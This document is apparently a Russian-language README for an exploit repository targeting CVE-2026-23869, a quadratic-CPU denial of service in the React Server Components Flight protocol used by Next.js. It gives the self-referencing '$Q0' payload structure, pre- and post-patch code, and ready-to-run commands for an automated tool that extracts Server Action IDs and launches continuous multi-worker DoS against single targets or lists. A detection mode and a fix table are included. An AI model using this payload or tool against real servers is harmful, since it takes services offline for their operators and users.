
Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации.
Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol
Квадратичное истощение CPU при десериализации Map в Server Components
Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-23869 |
| Псевдоним | React2DoS |
| Оценка CVSS | 7.5 (Высокая) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Неконтролируемое потребление ресурсов) |
| Тип | Неаутентифицированный удалённый отказ в обслуживании |
| Обнаружено | Yohann Sillam (Imperva Threat Research) |
| Затронуто | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Исправлено | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Критическая уязвимость отказа в обслуживании существует в десериализации Flight protocol React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке Server Action App Router в Next.js, вызывая квадратичное истощение CPU O(n²), которое блокирует сервер на несколько минут.
consumed при десериализации MapПротокол React Flight использует специальные маркеры для сериализации типов данных. $Q представляет объект Map. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры $Q0:
Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]
Каждый $Q0 запускает конструктор new Map(), который перебирает все n допустимых записей. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: флаг consumed никогда не устанавливается при сбое.
Это означает, что следующий $Q0 заново вычисляет ту же самую Map с нуля → создавая сложность O(n²):
n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map
Пример: 65 000 × 65 000 = 4 225 000 000 операций
Результат: Один запрос блокирует CPU на 5-10+ минут
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Атакующий │ ──────────────────────────────────────▶ │ Сервер Next.js │
│ │ Заголовок: Next-Action: <action_id> │ │
│ │ Тело: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% ЗАБЛОКИРОВАН │
└──────────┘ │ на ~5-10 мин │
└──────────────────┘
// ReactFlightReplyServer.js — ДО патча
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Завершается ошибкой, но не устанавливает consumed = true
// Следующий $Q0 пересчитывает с нуля
}
// ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Исправление: установить флаг ДО создания
return new Map(data); // Предотвращает повторный пересчёт
}
| Файл | Описание |
|---|---|
poc.py | Полностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация) |
CVE-2026-23869.yaml | Шаблон обнаружения Nuclei с оркестрацией на основе flow |
scan.sh | Скрипт-обёртка: фильтрация живых целей httpx + сканирование nuclei |
extract-action-ids.sh | Автономный извлекатель ID Server Action |
# Клонировать репозиторий
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Установить зависимость Python
pip install requests
# Сделать скрипты исполняемыми
chmod +x poc.py scan.sh extract-action-ids.sh
# Для сканирования шаблоном Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Для фильтрации живых целей
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Просто укажите URL — инструмент сделает всё автоматически:
python3 poc.py -u https://target.com
Что происходит:
# Сканировать список доменов/IP
python3 poc.py -L targets.txt
# С выводом JSON-отчёта
python3 poc.py -L targets.txt -o results.json
# Только безопасное обнаружение
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Одиночная эксплуатация
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Непрерывный DoS (10 воркеров)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL Целевой URL (одна цель)
-L, --list FILE Файл с целевыми URL/IP (по одному в строке)
-a, --action-id ID ID Server Action (пропустить автоматическое извлечение)
--detect Только обнаружение — безопасно, неразрушающе (по умолчанию)
--single Одиночная эксплуатация после обнаружения
--exploit Непрерывный DoS после обнаружения
--extract Только извлечение action ID
-l, --length N Записей в полезной нагрузке (по умолчанию: 130000)
-w, --workers N Параллельных воркеров (по умолчанию: 5)
-d, --delay SEC Задержка между запросами (по умолчанию: 1.0)
-o, --output FILE Сохранить JSON-отчёт
-t, --threads N Параллельных целей для сканирования списка (по умолчанию: 3)
Оригинальный синтаксис PoC по-прежнему работает:
python3 poc.py <ACTION_ID> <URL>
# Одна цель
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos